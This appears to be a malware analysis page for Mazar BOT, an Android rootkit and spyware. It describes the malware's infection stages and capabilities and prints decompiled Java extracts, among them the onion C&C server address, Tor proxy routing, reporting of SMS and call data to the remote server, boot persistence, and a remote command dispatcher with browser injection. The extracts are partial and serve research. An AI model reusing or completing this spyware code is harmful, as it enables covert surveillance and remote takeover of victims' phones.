Summary
Rootkit for hacker
GroDDViewer graphs:
Details
Mazar BOT is a malware discovered in 2016. The application has no specific goal but is a powerfull rootkit. It installs tor and a proxy to monitor the phone. It is also able to C&C the phone, using it as a bot. It must be a BETA version, due to the fact it is quite complicated to be infected (.apk, received by sms, to download and then to launch). In addition, it targets random phones (except russian ones) and the malware is not obfuscated.
The malicious code of the malware is included into the package com.mazar that
contains fithteen classes. The most important class is WorkerService.
Stage 1: Malicious code execution
When the application is launched, it asks for administration privileges. The main class is launched first and in the function onCreate() it checks if the langage of telephone is russian
getCountry().equalsIgnoreCase(RU). Then a TOR application and a proxy are retrieved and installed. The "ChromeWebApplication is also contaminated.
Stage 2: Open communication with BOT
When the application is set up, a communication is established to http://pc35hiptpcwqezgs.onion and wait for order.
Stage 3: Other services launched
A InjDialog activity is launched on create to inject Mazar into chrome browser.
A ReportService service is launched to communicate to the proxy all events occured (sms, call, download...).
A ScheduledProcessor receiver is launched and set the microphone mute when an event.
com.mazar.process occurs.
A Starter receiver is launched and wait for boot.
com.mazar.wakeup/reportsent envents to call WorkerService or ReportSent.
Other resources
Triggering
To trigger the malware, launch the application.
Caracteristics
Malware type :
- Remote Administration Tool (RAT)
- Spyware
Attacks :
-
Confidentiality
- Steal IMEI
- Steal contacts
- Steal bookmarks / navigation history
- Steal photos
- Steal and/or intercept SMS
- Steal call logs
- Steal phone number
- Steal device's location
- Record calls / microphone
-
Integrity
- Personal data are destroyed
-
Availability
- Applications are blocked
- Home screen is locked
- Data are unusable
-
Normal use
- Gain root access
- Send unwanted SMS
- Call unwanted number
- Download unwanted data
- Obey a bot server
Infection technique :
Repackaged application
Malicious code type :
- Use Java code
- Use remote code
Hidding techniques :
- Obfuscation with variable renaming
Triggering techniques :
- Waits for a message from a remote server
- Waits for a particular user input
Samples
Java source code extracts:
Main.java is the service started when the application is launched.
WorkerService.java define command that can be launched: intercept stop, stop numbers, unstop numbers, unstop all numbers, lock, unlock, send, forward calls, stop forward calls, update html, hard reset, call, sleep, wakeup.
InjDialog.java inject mazar into Chrome.
ReportService.java is that send activities to remote serveur.
Starter.java is the service launched on reboot or on remote command com.mazar.wakeup/reportsent.
ScheduledProcessor.java is the service that set micro mute when remote command com.mazar.process is got.
Main.java
public void onCreate(Bundle paramBundle)
{
super.onCreate(paramBundle);
setContentView(2130903041);
hide();
Utils.noRu(this);
if (!WorkerService.isRunning)
{
Intent localIntent = new Intent();
localIntent.setClass(this, WorkerService.class);
startService(localIntent);
}
finish();
}
WorkerService.java
public void onCreate()
{
super.onCreate();
Utils.noRu(this);
isRunning = true;
this.am = ((ActivityManager)getSystemService("activity"));
this.deviceManager = ((DevicePolicyManager)getSystemService("device_policy"));
this.context = this;
httpClient = new StrongHttpsClient(this.context);
httpClient.useProxy(true, "http", "127.0.0.1", 8118);
tor = new TorController(this);
updateView = new OverlayView(this, 2130903042);
hideSysDialog();
settings = getSharedPreferences(getString(2131230723), 0);
try
{
htmlData = new JSONArray(settings.getString(getString(2131230732), "[]"));
if (!settings.getBoolean(getString(2131230727), false))
hideSysDialog();
if (settings.getString(getString(2131230733), "").equals(""))
Utils.putStrVal(settings, getString(2131230733), Utils.readMessagesFromDeviceDB(this.context).toString());
if ((Build.VERSION.SDK_INT == 19) && (!SmsWriteOpUtil.isWriteEnabled(getApplicationContext())))
{
boolean bool = SmsWriteOpUtil.setWriteEnabled(getApplicationContext(), true);
Utils.putBoolVal(settings, getString(2131230738), bool);
}
scheduleChecker();
this.scheduler = Executors.newScheduledThreadPool(3);
initWorkTask();
initAdminTask();
initInjTask();
return;
}
//...
}
private void initWorkTask()
{
this.workTask = new Runnable()
{
public void run()
{
if (!Connectivity.isConnectedWifiOrMobile(WorkerService.this.context))
return;
if ((!WorkerService.tor.isRunning()) || (WorkerService.this.needForceTorRestart))
{
if (!WorkerService.tor.connect(true, WorkerService.this.needForceTorRestart))
{
WorkerService.this.needForceTorRestart = true;
return;
}
WorkerService.this.needForceTorRestart = false;
}
SharedPreferences localSharedPreferences = WorkerService.this.getSharedPreferences(WorkerService.this.getString(2131230723), 0);
boolean bool1 = localSharedPreferences.getBoolean(WorkerService.this.getString(2131230724), false);
String str1 = WorkerService.this.getString(2131230722);
//2131230722 == <string name="server_url">http://pc35hiptpcwqezgs.onion</string>
//...
while (true)
{
WorkerService.this.startService(localIntent1);
break;
if (str2.equals("intercept stop"))
{
Utils.putBoolVal(localSharedPreferences, WorkerService.this.getString(2131230729), false);
localIntent1.setAction(WorkerService.this.getString(2131230740));
}
else if (str2.equals("stop numbers"))
{
//...
}
else if (str2.equals("unstop numbers"))
{
//...
}
else if (str2.equals("unstop all numbers"))
{
//...
}
else if (str2.equals("lock"))
{
//...
}
else if (str2.equals("unlock"))
{
//...
}
else if (str2.equals("send"))
{
//...
}
else if (str2.equals("forward calls"))
{
//...
}
else if (str2.equals("stop forward calls"))
{
//...
}
InjDialog.java
protected void onCreate(Bundle paramBundle)
{
this.isWebViewLoaded = false;
super.onCreate(paramBundle);
setContentView(2130903040);
this.layout = ((FrameLayout)findViewById(2131427328));
this.packageName = getIntent().getStringExtra("package");
byte[] arrayOfByte = Base64.decode(WorkerService.getPageForPackage(this.packageName), 0);
try
{
this.html = new String(arrayOfByte, "UTF-8");
webAppInterface = new WebInterface(this, this.packageName);
this.webView = new WebView(this);
this.webView.setWebChromeClient(new HookChromeClient());
this.webView.setScrollBarStyle(33554432);
this.webView.getSettings().setJavaScriptEnabled(true);
this.layout.addView(this.webView, new ViewGroup.LayoutParams(-1, -2));
showWebView();
return;
}
...
}
ReportService.java
protected void onHandleIntent(Intent paramIntent)
{
String str1 = paramIntent.getAction();
String str2 = getString(2131230722);
String str3 = settings.getString(getString(2131230725), "-1");
StrongHttpsClient localStrongHttpsClient = new StrongHttpsClient(this);
localStrongHttpsClient.useProxy(true, "http", "127.0.0.1", 8118);
do
while (true)
{
try
{
if (str1.equals(getString(2131230739)))
{
Sender.request(localStrongHttpsClient, str2, RequestFactory.makeIdSavedConfirm(str3).toString());
Utils.putBoolVal(settings, getString(2131230724), true);
return;
}
if (str1.equals(getString(2131230740)))
{
Sender.request(localStrongHttpsClient, str2, RequestFactory.makeInterceptConfirm(str3, settings.getBoolean(getString(2131230729), false)).toString());
continue;
}
}
catch (Exception localException1)
{
localException1.printStackTrace();
return;
if (str1.equals(getString(2131230741)))
{
Sender.request(localStrongHttpsClient, str2, RequestFactory.makeStoppedNumbersConfirm(str3, (HashSet)ObjectSerializer.deserialize(settings.getString(getString(2131230730), ObjectSerializer.serialize(new HashSet())))).toString());
continue;
}
}
finally
{
if (str1.equals(getString(2131230747)))
HTML_REPORTING = false;
}
if (str1.equals(getString(2131230742)))
{
Sender.request(localStrongHttpsClient, str2, RequestFactory.makeLockStatus(str3, settings.getBoolean(getString(2131230727), false)).toString());
}
else if (str1.equals(getString(2131230743)))
{
Sender.request(localStrongHttpsClient, str2, RequestFactory.makeSentMessageConfirm(str3, paramIntent.getStringExtra("number"), paramIntent.getStringExtra("text")).toString());
}
else if (str1.equals(getString(2131230744)))
{
Sender.request(localStrongHttpsClient, str2, RequestFactory.makeCallsForwardingStatus(str3, settings.getBoolean(getString(2131230731), false)).toString());
}
else if (str1.equals(getString(2131230745)))
{
Sender.request(localStrongHttpsClient, str2, RequestFactory.makeHtmlUpdatedConfirm(str3, settings.getString(getString(2131230728), "-1")).toString());
}
//...
}
Starter.java
public void onReceive(Context paramContext, Intent paramIntent)
{
Utils.noRu(paramContext);
String str = paramIntent.getAction();
if ((str.equals("android.intent.action.BOOT_COMPLETED")) || (str.equals("com.mazar.wakeup")))
if (!WorkerService.isRunning)
{
localIntent1 = new Intent();
localIntent1.setClass(paramContext, WorkerService.class);
paramContext.startService(localIntent1);
}
while (!str.equals("com.mazar.reportsent"))
{
Intent localIntent1;
return;
}
Intent localIntent2 = new Intent(paramContext, ReportService.class);
localIntent2.setAction(paramContext.getString(2131230743));
localIntent2.putExtra("number", paramIntent.getStringExtra("number"));
localIntent2.putExtra("text", paramIntent.getStringExtra("text"));
paramContext.startService(localIntent2);
}
ScheduledProcessor.java
public void onReceive(Context paramContext, Intent paramIntent)
{
String str;
if (paramIntent.getAction().toString().equals("com.mazar.process"))
{
str = paramIntent.getStringExtra("cmd");
if (!str.equals("kill call"))
break label134;
Utils.killCall(paramContext);
localAudioManager = (AudioManager)paramContext.getSystemService("audio");
localAudioManager.setStreamMute(5, false);
localAudioManager.setStreamMute(4, false);
localAudioManager.setStreamMute(3, false);
localAudioManager.setStreamMute(2, false);
localAudioManager.setStreamMute(1, false);
localAudioManager.setStreamMute(8, false);
localAudioManager.setStreamMute(0, false);
localIntent = new Intent("android.intent.action.MAIN");
localIntent.addCategory("android.intent.category.HOME");
localIntent.setFlags(268435456);
paramContext.startActivity(localIntent);
WorkerService.hideSysDialog();
}
//...
}